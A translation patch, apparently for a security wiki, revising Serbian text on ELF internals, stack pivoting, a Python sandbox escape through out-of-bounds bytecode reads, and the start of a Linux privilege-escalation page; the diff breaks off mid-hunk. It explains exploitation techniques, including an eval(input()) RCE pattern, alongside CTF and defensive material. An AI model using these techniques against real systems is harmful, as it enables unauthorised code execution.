From d6f1106b323a8606016932116c6b4e3373ee7507 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 09:16:58 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met --- src/SUMMARY.md | 1 - .../elf-tricks.md | 38 ++--- .../stack-pivoting-ebp2ret-ebp-chaining.md | 22 +-- .../load_name-load_const-opcode-oob-read.md | 22 +-- .../privilege-escalation/README.md | 138 ++++++++-------- ...eworks-manager-auth-bypass-syscall-hook.md | 42 ++--- .../macos-gatekeeper.md | 58 +++---- .../android-app-pentesting/README.md | 152 +++++++++--------- .../5555-android-debug-bridge.md | 18 +-- .../pentesting-web/wordpress.md | 56 +++---- src/pentesting-web/file-inclusion/README.md | 86 +++++----- .../xxe-xee-xml-external-entity.md | 74 ++++----- src/todo/hardware-hacking/jtag.md | 18 +-- src/todo/misc.md | 58 ------- .../ad-certificates/account-persistence.md | 18 +-- .../resource-based-constrained-delegation.md | 122 +++++++++++--- 16 files changed, 472 insertions(+), 451 deletions(-) delete mode 100644 src/todo/misc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index fa7568927..432bf44fc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -881,7 +881,6 @@ - [Interesting Http](todo/interesting-http.md) - [Rust Basics](todo/rust-basics.md) - [More Tools](todo/more-tools.md) -- [MISC](todo/misc.md) - [Hardware Hacking](todo/hardware-hacking/README.md) - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md) - [I2C](todo/hardware-hacking/i2c.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index 588cecf18..680a3204b 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -54,11 +54,11 @@ Ukazuje na putanju učitača koji se koristi za učitavanje binarnog fajla u mem Ova zaglavlja se koriste za označavanje **kako učitati binarni fajl u memoriju.**\ Svako **LOAD** zaglavlje označava region **memorije** (veličina, dozvole i poravnanje) i označava bajtove ELF **binarne datoteke koje treba kopirati tamo**. -Na primer, drugo ima veličinu od 0x1190, treba da bude locirano na 0x1fc48 sa dozvolama za čitanje i pisanje i biće popunjeno sa 0x528 sa ofseta 0xfc48 (ne popunjava sav rezervisani prostor). Ova memorija će sadržati sekcije `.init_array .fini_array .dynamic .got .data .bss`. +Na primer, drugo ima veličinu od 0x1190, treba da bude locirano na 0x1fc48 sa dozvolama za čitanje i pisanje i biće ispunjeno sa 0x528 sa ofseta 0xfc48 (ne ispunjava sav rezervisani prostor). Ova memorija će sadržati sekcije `.init_array .fini_array .dynamic .got .data .bss`. ### DYNAMIC -Ovo zaglavlje pomaže u povezivanju programa sa njihovim zavisnostima biblioteka i primeni relokacija. Proverite sekciju **`.dynamic`**. +Ovo zaglavlje pomaže u povezivanju programa sa njihovim zavisnostima biblioteka i primeni relokacija. Proverite **`.dynamic`** sekciju. ### NOTE @@ -72,7 +72,7 @@ Ovo čuva informacije o metapodacima dobavljača o binarnoj datoteci. ### GNU_EH_FRAME -Definiše lokaciju tabela za razotkrivanje steka, koje koriste debageri i C++ funkcije za rukovanje izuzecima. +Definiše lokaciju tabela za odmotavanje steka, koje koriste debageri i C++ funkcije za rukovanje izuzecima. ### GNU_STACK @@ -212,7 +212,7 @@ Svaki unos simbola sadrži: #### GNU Verzija Simbola (dynsym/dynstr/gnu.version) -Moderna glibc koristi verzije simbola. Videćete unose u `.gnu.version` i `.gnu.version_r` i imena simbola kao što je `strlen@GLIBC_2.17`. Dinamički linker može zahtevati specifičnu verziju prilikom rešavanja simbola. Kada pravite ručne relokacije (npr. ret2dlresolve) morate dostaviti ispravan indeks verzije, inače rešavanje ne uspeva. +Moderna glibc koristi verzije simbola. Videćete unose u `.gnu.version` i `.gnu.version_r` i imena simbola kao što je `strlen@GLIBC_2.17`. Dinamički linker može zahtevati specifičnu verziju prilikom rešavanja simbola. Kada pravite ručne relokacije (npr. ret2dlresolve) morate dostaviti tačan indeks verzije, inače rešavanje ne uspeva. ## Dinamička Sekcija ``` @@ -249,7 +249,7 @@ Tag Type Name/Value 0x000000006ffffff9 (RELACOUNT) 15 0x0000000000000000 (NULL) 0x0 ``` -Direktorijum NEEDED označava da program **treba da učita pomenutu biblioteku** kako bi nastavio. Direktorijum NEEDED se završava kada je deljena **biblioteka potpuno operativna i spremna** za upotrebu. +Direktorijum NEEDED označava da program **treba da učita pomenutu biblioteku** kako bi nastavio. Direktorijum NEEDED se završava kada je deljena **biblioteka potpuno operativna i spremna** za korišćenje. ### Redosled pretrage dinamičkog učitavača (RPATH/RUNPATH, $ORIGIN) @@ -346,27 +346,27 @@ Offset Info Type Sym. Value Sym. Name + Addend Ako je **program učitan na mestu koje se razlikuje** od preferirane adrese (obično 0x400000) zato što je adresa već zauzeta ili zbog **ASLR** ili bilo kog drugog razloga, statička relokacija **ispravlja pokazivače** koji su imali vrednosti očekujući da će binarni fajl biti učitan na preferiranoj adresi. -Na primer, svaka sekcija tipa `R_AARCH64_RELATIV` treba da ima modifikovanu adresu na relokacionom pomeraju plus vrednost adenda. +Na primer, svaka sekcija tipa `R_AARCH64_RELATIV` treba da ima modifikovanu adresu na relokacionom pristrasnosti plus vrednost adenda. ### Dinamičke Relokacije i GOT -Relokacija može takođe referencirati spoljašnji simbol (kao što je funkcija iz zavisnosti). Kao što je funkcija malloc iz libC. Tada, učitavač prilikom učitavanja libC na adresu proverava gde je učitana funkcija malloc, i upisuje ovu adresu u GOT (Global Offset Table) tabelu (naznačeno u relokacionoj tabeli) gde bi adresa malloc trebala biti specificirana. +Relokacija može takođe referencirati spoljašnji simbol (kao što je funkcija iz zavisnosti). Kao što je funkcija malloc iz libC. Tada, učitavač prilikom učitavanja libC na adresu proverava gde je učitana malloc funkcija, i upisuje ovu adresu u GOT (Global Offset Table) tabelu (naznačeno u relokacionoj tabeli) gde bi adresa malloc trebala biti specificirana. ### Tabela Povezivanja Procedura PLT sekcija omogućava obavljanje lenjog povezivanja, što znači da će se rešavanje lokacije funkcije obaviti prvi put kada se pristupi. -Dakle, kada program poziva malloc, zapravo poziva odgovarajuću lokaciju `malloc` u PLT (`malloc@plt`). Prvi put kada se pozove, rešava adresu `malloc` i čuva je, tako da sledeći put kada se pozove `malloc`, ta adresa se koristi umesto PLT koda. +Dakle, kada program poziva malloc, zapravo poziva odgovarajuću lokaciju `malloc` u PLT (`malloc@plt`). Prvi put kada se pozove, rešava adresu `malloc` i čuva je tako da se sledeći put kada se pozove `malloc`, ta adresa koristi umesto PLT koda. #### Moderni obrasci povezivanja koji utiču na eksploataciju -- `-z now` (Full RELRO) onemogućava lenjo povezivanje; PLT unosi i dalje postoje, ali je GOT/PLT mapiran kao samo za čitanje, tako da tehnike poput **GOT overwrite** i **ret2dlresolve** neće raditi protiv glavnog binarnog fajla (biblioteke mogu i dalje biti delimično RELRO). Vidi: +- `-z now` (Full RELRO) onemogućava lenjo povezivanje; PLT unosi i dalje postoje, ali je GOT/PLT mapiran kao samo za čitanje, tako da tehnike kao što su **GOT overwrite** i **ret2dlresolve** neće raditi protiv glavnog binarnog fajla (biblioteke mogu i dalje biti delimično RELRO). Vidi: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -- `-fno-plt` čini da kompajler poziva spoljne funkcije kroz **GOT unos direktno** umesto da ide kroz PLT stub. Videćete sekvence poziva kao `mov reg, [got]; call reg` umesto `call func@plt`. Ovo smanjuje zloupotrebu spekulativne izvršavanja i malo menja lov na ROP gadgete oko PLT stubova. +- `-fno-plt` čini da kompajler poziva spoljašnje funkcije kroz **GOT unos direktno** umesto da ide kroz PLT stub. Videćete sekvence poziva kao `mov reg, [got]; call reg` umesto `call func@plt`. Ovo smanjuje zloupotrebu spekulativne izvršavanja i malo menja lov na ROP gadgete oko PLT stubova. - PIE vs static-PIE: PIE (ET_DYN sa `INTERP`) zahteva dinamički učitavač i podržava uobičajenu PLT/GOT mašineriju. Static-PIE (ET_DYN bez `INTERP`) ima relokacije koje primenjuje kernel učitavač i nema `ld.so`; očekujte da nema PLT rešavanja u vreme izvršavanja. @@ -399,22 +399,22 @@ printf("Main\n"); return 0; } ``` -Napomena da su ove globalne promenljive smeštene u `.data` ili `.bss`, ali u listama `__CTOR_LIST__` i `__DTOR_LIST__` objekti za inicijalizaciju i destrukciju su smešteni kako bi se pratili. +Napomena da se ove globalne promenljive nalaze u `.data` ili `.bss`, ali u listama `__CTOR_LIST__` i `__DTOR_LIST__` objekti za inicijalizaciju i destrukciju se čuvaju kako bi se pratili. Iz C koda je moguće dobiti isti rezultat koristeći GNU ekstenzije: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` -Sa perspektive kompajlera, da bi se izvršile ove radnje pre i posle izvršavanja `main` funkcije, moguće je kreirati `init` funkciju i `fini` funkciju koje bi bile referencirane u dinamičkom odeljku kao **`INIT`** i **`FIN`**. i smeštene su u `init` i `fini` odeljke ELF-a. +Sa perspektive kompajlera, da bi se izvršile ove radnje pre i posle izvršavanja `main` funkcije, moguće je kreirati `init` funkciju i `fini` funkciju koje bi bile referencirane u dinamičkom delu kao **`INIT`** i **`FIN`**. i smeštene su u `init` i `fini` sekcije ELF-a. -Druga opcija, kao što je pomenuto, je da se referenciraju liste **`__CTOR_LIST__`** i **`__DTOR_LIST__`** u **`INIT_ARRAY`** i **`FINI_ARRAY`** stavkama u dinamičkom odeljku, a dužina ovih stavki je označena sa **`INIT_ARRAYSZ`** i **`FINI_ARRAYSZ`**. Svaka stavka je pokazivač na funkciju koja će biti pozvana bez argumenata. +Druga opcija, kao što je pomenuto, je da se referenciraju liste **`__CTOR_LIST__`** i **`__DTOR_LIST__`** u **`INIT_ARRAY`** i **`FINI_ARRAY`** stavkama u dinamičkom delu, a dužina ovih stavki je označena sa **`INIT_ARRAYSZ`** i **`FINI_ARRAYSZ`**. Svaka stavka je pokazivač na funkciju koja će biti pozvana bez argumenata. Štaviše, takođe je moguće imati **`PREINIT_ARRAY`** sa **pokazivačima** koji će biti izvršeni **pre** pokazivača **`INIT_ARRAY`**. #### Napomena o eksploataciji -- Pod Partial RELRO, ovi nizovi žive u stranicama koje su još uvek zapisive pre nego što `ld.so` prebacuje `PT_GNU_RELRO` u samo za čitanje. Ako dobijete proizvoljno pisanje dovoljno rano ili možete ciljati zapisive nizove biblioteke, možete preuzeti kontrolu nad tokom izvršavanja prepisivanjem stavke sa funkcijom po vašem izboru. Pod Full RELRO, oni su samo za čitanje u vreme izvršavanja. +- Pod Partial RELRO, ove nizove žive u stranicama koje su još uvek zapisive pre nego što `ld.so` prebacuje `PT_GNU_RELRO` u samo za čitanje. Ako dobijete proizvoljno pisanje dovoljno rano ili možete ciljati zapisive nizove biblioteke, možete preuzeti kontrolu nad tokom izvršavanja prepisivanjem stavke sa funkcijom po vašem izboru. Pod Full RELRO, one su samo za čitanje u vreme izvršavanja. - Za zloupotrebu lenjog povezivanja dinamičkog linkera za rešavanje proizvoljnih simbola u vreme izvršavanja, pogledajte posvećenu stranicu: @@ -433,13 +433,13 @@ Druga opcija, kao što je pomenuto, je da se referenciraju liste **`__CTOR_LIST_ ## Thread-Local Storage (TLS) -Oni se definišu koristeći ključnu reč **`__thread_local`** u C++ ili GNU ekstenziju **`__thread`**. +Definisani su korišćenjem ključne reči **`__thread_local`** u C++ ili GNU ekstenzije **`__thread`**. Svaka nit će održavati jedinstvenu lokaciju za ovu promenljivu tako da samo ta nit može pristupiti svojoj promenljivoj. -Kada se ovo koristi, odeljci **`.tdata`** i **`.tbss`** se koriste u ELF-u. Koji su slični `.data` (inicijalizovano) i `.bss` (neinicijalizovano) ali za TLS. +Kada se ovo koristi, sekcije **`.tdata`** i **`.tbss`** se koriste u ELF-u. Koje su kao `.data` (inicijalizovane) i `.bss` (neinicijalizovane) ali za TLS. -Svaka promenljiva će imati stavku u TLS zaglavlju koja specificira veličinu i TLS offset, što je offset koji će koristiti u lokalnom području podataka niti. +Svaka promenljiva će imati stavku u TLS headeru koja specificira veličinu i TLS offset, što je offset koji će koristiti u lokalnom području podataka niti. `__TLS_MODULE_BASE` je simbol koji se koristi za referenciranje osnovne adrese skladišta lokalnih niti i ukazuje na područje u memoriji koje sadrži sve podatke lokalnih niti modula. @@ -448,10 +448,10 @@ Svaka promenljiva će imati stavku u TLS zaglavlju koja specificira veličinu i Linux kernel prosleđuje pomoćni vektor procesima koji sadrži korisne adrese i zastavice za vreme izvršavanja: - `AT_RANDOM`: ukazuje na 16 nasumičnih bajtova koje koristi glibc za stack canary i druge PRNG semena. -- `AT_SYSINFO_EHDR`: osnovna adresa vDSO mapiranja (korisno za pronalaženje `__kernel_*` sistemskih poziva i gadgeta). +- `AT_SYSINFO_EHDR`: osnovna adresa vDSO mapiranja (korisno za pronalaženje `__kernel_*` syscalls i gadgeta). - `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, itd. -Kao napadač, ako možete čitati memoriju ili datoteke pod `/proc`, često možete procuriti ove informacije bez infoleaka u ciljanom procesu: +Kao napadač, ako možete čitati memoriju ili datoteke pod `/proc`, često možete iscuriti ove informacije bez infoleaka u ciljanom procesu: ```bash # Show the auxv of a running process cat /proc/$(pidof target)/auxv | xxd diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index aad099409..3b612b9eb 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -20,7 +20,7 @@ I kao što je sačuvani **EBP/RBP u steku** pre sačuvanog EIP/RIP, moguće je k ### EBP2Ret -Ova tehnika je posebno korisna kada možete **izmeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP**. Ona koristi ponašanje epiloga funkcije. +Ova tehnika je posebno korisna kada možete **promeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP**. Ona koristi ponašanje epiloga funkcije. Ako, tokom izvršenja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP lanca (plus 8 bajtova na amd64 / 4 bajta na x86 da bi se računalo za `pop`), možete indirektno kontrolisati RIP. Kada funkcija vrati, `leave` postavlja RSP na kreiranu lokaciju, a naredni `pop rbp` smanjuje RSP, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo**. Tada će `ret` koristiti tu adresu. @@ -35,21 +35,21 @@ Zatim, morate izabrati adresu koju koristi `ret` koja će **preneti izvršenje** - Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu. - Adresu **`system()`** praćenu odgovarajućim povratkom i argumentima (na x86: `ret` cilj = `&system`, zatim 4 bajta smeća, zatim `&"/bin/sh"`). - Adresu **`jmp esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu inline shellcode-om. -- [**ROP**](../rop-return-oriented-programing/index.html) lanac postavljen u memoriji koja se može pisati. +- [**ROP**](../rop-return-oriented-programing/index.html) lanac postavljen u pisivu memoriju. Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti, mora biti **prostora za `pop ebp/rbp`** iz `leave` (8B na amd64, 4B na x86). Možete iskoristiti ove bajtove da postavite **drugi lažni EBP** i zadržite kontrolu nakon što se prvi poziv vrati. #### Off-By-One Eksploit -Postoji varijanta koja se koristi kada možete **samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP**. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi se skočilo što je dalje moguće unutar obližnje stranice/usaglašene oblasti. +Postoji varijanta koja se koristi kada možete **samo modifikovati najmanje značajan bajt sačuvanog EBP/RBP**. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi skočio što je dalje moguće unutar obližnje stranice/poravnate oblasti. -Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraj kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se konačni ROP lanac izvrši. +Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se konačni ROP lanac izvrši. ### EBP Lanci -Postavljanjem kontrolisane adrese u sačuvani `EBP` slot steka i `leave; ret` gadgeta u `EIP/RIP`, moguće je **premestiti `ESP/RSP` na adresu koju kontroliše napadač**. +Postavljanjem kontrolisane adrese u sačuvani `EBP` slot steka i `leave; ret` gadgeta u `EIP/RIP`, moguće je **premestiti `ESP/RSP` na adresu pod kontrolom napadača**. -Sada je `RSP` kontrolisan i sledeća instrukcija je `ret`. Stavite u kontrolisanu memoriju nešto poput: +Sada je `RSP` pod kontrolom i sledeća instrukcija je `ret`. Stavite u kontrolisanu memoriju nešto poput: - `&(next fake EBP)` -> Učitano sa `pop ebp/rbp` iz `leave`. - `&system()` -> Pozvano sa `ret`. @@ -210,13 +210,13 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" Робустна стратегија пивотирања која се користи у многим CTF-овима/експлоатима: -1) Користите мали иницијални прелив да позовете `read`/`recv` у велику пишућу област (нпр., `.bss`, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо. +1) Користите мали иницијални прелив да позовете `read`/`recv` у велику област за писање (нпр., `.bss`, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо. 2) Вратите се у пивот гажет (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) да преместите RSP у ту област. -3) Наставите са постављеним ланцем (нпр., leak libc, позовите `mprotect`, затим `read` shellcode, затим скочите на њега). +3) Наставите са постављеним ланцем (нпр., откријте libc, позовите `mprotect`, затим `read` shellcode, а затим скочите на њега). ## Савремене мере које прекидају пивотирање стека (CET/Shadow Stack) -Савремени x86 ЦПУ-ови и ОС-ови све више примењују **CET Shadow Stack (SHSTK)**. Са укљученим SHSTK, `ret` упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања подижу Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први `ret` из пивотираног стека. +Савремени x86 ЦПУ-ови и ОС-ови све више примењују **CET Shadow Stack (SHSTK)**. Са укљученим SHSTK, `ret` упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања изазивају Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први `ret` из пивотираног стека. - За позадину и дубље детаље погледајте: @@ -239,7 +239,7 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr (gdb) checksec ``` - Beleške za laboratorije/CTF: -- Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutni hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela `nousershstk`, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima. +- Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutna hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela `nousershstk`, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima. - JOP/COOP ili SROP zasnovane tehnike bi mogle biti izvodljive na nekim ciljevima, ali SHSTK posebno prekida `ret`-zasnovane pivote. - Napomena za Windows: Windows 10+ izlaže korisnički režim, a Windows 11 dodaje kernel-režim "Zaštita steka zasnovana na hardveru" izgrađena na senčanim stekovima. Procesi kompatibilni sa CET sprečavaju pivotiranje steka/ROP na `ret`; programeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi referencu). @@ -282,7 +282,7 @@ Takođe, na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**: - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64 bita, bez relro, kanar, nx i pie. Program omogućava leak za stek ili pie i WWW za qword. Prvo dobijte leak steka i koristite WWW da se vratite i dobijete leak pie. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovo "večito" pisanje, upisuje se ROP lanac u .bss i završava pozivajući ga pivotirajući sa RBP. +- 64 bita, bez relro, kanar, nx i pie. Program omogućava leak za stek ili pie i WWW za qword. Prvo dobijte leak steka i koristite WWW da se vratite i dobijete leak pie. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovo "večito" pisanje, upisuje se ROP lanac u .bss i završava pozivajući ga pivotiranjem sa RBP. - Dokumentacija Linux kernela: Tehnologija zaštite toka kontrole (CET) Senčani stek — detalji o SHSTK, `nousershstk`, `/proc/$PID/status` zastavicama i omogućavanju putem `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Zaštita steka zasnovana na hardveru u režimu kernela (CET senčani stekovi na Windows-u). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md index fd57d4333..bbdddc501 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -19,15 +19,15 @@ if len(source) > 13337: exit(print(f"{'L':O<13337}NG")) code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=()) print(eval(code, {'__builtins__': {}}))1234 ``` -Možete uneti proizvoljni Python kod, i on će biti kompajliran u [Python kod objekat](https://docs.python.org/3/c-api/code.html). Međutim, `co_consts` i `co_names` tog kod objekta biće zamenjeni praznom tuple pre nego što se eval-uju taj kod objekat. +Možete uneti proizvoljni Python kod, i on će biti kompajliran u [Python kod objekat](https://docs.python.org/3/c-api/code.html). Međutim, `co_consts` i `co_names` tog kod objekta biće zamenjeni praznom tuplom pre nego što se eval-uju. -Tako da na ovaj način, sve izraze koji sadrže konstante (npr. brojevi, stringovi itd.) ili imena (npr. promenljive, funkcije) mogu izazvati segmentacijski grešku na kraju. +Tako da na ovaj način, sve izraze koji sadrže konstante (npr. brojevi, stringovi itd.) ili imena (npr. promenljive, funkcije) mogu izazvati segfault na kraju. ### Out of Bound Read Kako se dešava segfault? -Hajde da počnemo sa jednostavnim primerom, `[a, b, c]` bi mogao da se kompajlira u sledeći bajtkod. +Hajde da počnemo sa jednostavnim primerom, `[a, b, c]` može biti kompajliran u sledeći bajtkod. ``` 1 0 LOAD_NAME 0 (a) 2 LOAD_NAME 1 (b) @@ -49,7 +49,7 @@ PUSH(value); FAST_DISPATCH(); }1234567 ``` -Na ovaj način možemo koristiti OOB funkciju da dobijemo "ime" sa proizvoljnog memorijskog ofseta. Da bismo bili sigurni koje ime ima i koji je njegov ofset, samo nastavite da pokušavate `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... I mogli biste pronaći nešto u vezi sa oparg > 700. Takođe možete pokušati da koristite gdb da pogledate raspored memorije, naravno, ali ne mislim da bi to bilo lakše? +Na ovaj način možemo koristiti OOB funkciju da dobijemo "ime" sa proizvoljnog memorijskog ofseta. Da bismo bili sigurni koje ime ima i koji je njegov ofset, samo nastavite da pokušavate `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... I mogli biste pronaći nešto u vezi oparg > 700. Takođe možete pokušati da koristite gdb da pogledate raspored memorije, naravno, ali ne mislim da bi to bilo lakše? ### Generating the Exploit @@ -227,7 +227,7 @@ builtins['eval'](builtins['input']()) - `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → čitaju imena iz `co_names[...]` (za 3.11+ napomena `LOAD_ATTR`/`LOAD_GLOBAL` čuva zastavice u niskom bitu; stvarni indeks je `namei >> 1`). Pogledajte dokumentaciju disassembler-a za tačnu semantiku po verziji. [Python dis docs]. - Python 3.11+ je uveo adaptivne/in-line kešove koji dodaju skrivene `CACHE` unose između instrukcija. Ovo ne menja OOB primitiv; to samo znači da, ako ručno pravite bajtkod, morate uzeti u obzir te keš unose prilikom izgradnje `co_code`. -Praktična implikacija: tehnika na ovoj stranici nastavlja da funkcioniše na CPython 3.11, 3.12 i 3.13 kada možete kontrolisati objekat koda (npr., putem `CodeType.replace(...)`) i smanjiti `co_consts`/`co_names`. +Praktična implikacija: tehnika na ovoj stranici nastavlja da funkcioniše na CPython 3.11, 3.12 i 3.13 kada možete kontrolisati objekat koda (npr. putem `CodeType.replace(...)`) i smanjiti `co_consts`/`co_names`. ### Brzi skener za korisne OOB indekse (kompatibilan sa 3.11+/3.12+) @@ -272,9 +272,9 @@ print(idx, type(obj), repr(obj)[:80]) ``` Notes - Da biste umesto toga ispitivali imena, zamenite `LOAD_CONST` sa `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` i prilagodite korišćenje steka u skladu s tim. -- Koristite `EXTENDED_ARG` ili više bajtova `arg` da biste došli do indeksa >255 ako je potrebno. Kada gradite sa `dis` kao gore, kontrolišete samo nizak bajt; za veće indekse, konstruisite sirove bajtove sami ili podelite napad na više učitavanja. +- Koristite `EXTENDED_ARG` ili više bajtova `arg` da dođete do indeksa >255 ako je potrebno. Kada gradite sa `dis` kao gore, kontrolišete samo nizak bajt; za veće indekse, konstruisite sirove bajtove sami ili podelite napad na više učitavanja. -### Minimalni bytecode-only RCE obrazac (co_consts OOB → builtins → eval/input) +### Minimal bytecode-only RCE pattern (co_consts OOB → builtins → eval/input) Kada identifikujete `co_consts` indeks koji se rešava na builtins modul, možete rekonstruisati `eval(input())` bez ikakvih `co_names` manipulišući stekom: ```python @@ -287,9 +287,9 @@ Kada identifikujete `co_consts` indeks koji se rešava na builtins modul, možet ``` Ovaj pristup je koristan u izazovima koji vam daju direktnu kontrolu nad `co_code` dok primoravaju `co_consts=()` i `co_names=()` (npr., BCTF 2024 “awpcode”). Izbegava trikove na nivou izvora i održava veličinu payload-a malom koristeći bytecode stack ops i tuple graditelje. -### Odbrambene provere i mitigacije za sandboksove +### Defensivna provere i mitigacije za sandboksove -Ako pišete Python “sandbox” koji kompajlira/evaluira nepouzdani kod ili manipuliše objektima koda, ne oslanjajte se na CPython da proverava granice indeksa tuple-a korišćenih od strane bytecode-a. Umesto toga, sami validirajte objekte koda pre nego što ih izvršite. +Ako pišete Python “sandbox” koji kompajlira/evaluira nepouzdani kod ili manipuliše kod objektima, ne oslanjajte se na CPython da proverava granice tuple indeksa korišćenih od strane bytecode-a. Umesto toga, sami validirajte kod objekte pre nego što ih izvršite. Praktični validator (odbija OOB pristup co_consts/co_names) ```python @@ -325,10 +325,10 @@ raise ValueError("Bytecode refers to name index beyond co_names length") ``` Dodatne ideje za ublažavanje - Ne dozvolite proizvoljni `CodeType.replace(...)` na nepouzdanom ulazu, ili dodajte stroge strukturne provere na rezultantnom objektu koda. -- Razmotrite pokretanje nepouzdanog koda u odvojenom procesu sa OS-nivo sandboksiranjem (seccomp, job objekti, kontejneri) umesto oslanjanja na CPython semantiku. +- Razmotrite pokretanje nepouzdanog koda u odvojenom procesu sa OS-nivo sandboxingom (seccomp, job objekti, kontejneri) umesto oslanjanja na CPython semantiku. ## Reference - Splitline-ov HITCON CTF 2022 izveštaj “V O I D” (izvor ove tehnike i visoko-nivo lanac eksploatacije): https://blog.splitline.tw/hitcon-ctf-2022/ -- Python disassembler dokumentacija (indeksi semantike za LOAD_CONST/LOAD_NAME/etc., i 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` niske-bitne zastavice): https://docs.python.org/3.13/library/dis.html +- Dokumentacija za Python disassembler (semantika indeksa za LOAD_CONST/LOAD_NAME/etc., i 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` niske-bitne zastavice): https://docs.python.org/3.13/library/dis.html {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 382d9f065..6d7474107 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ 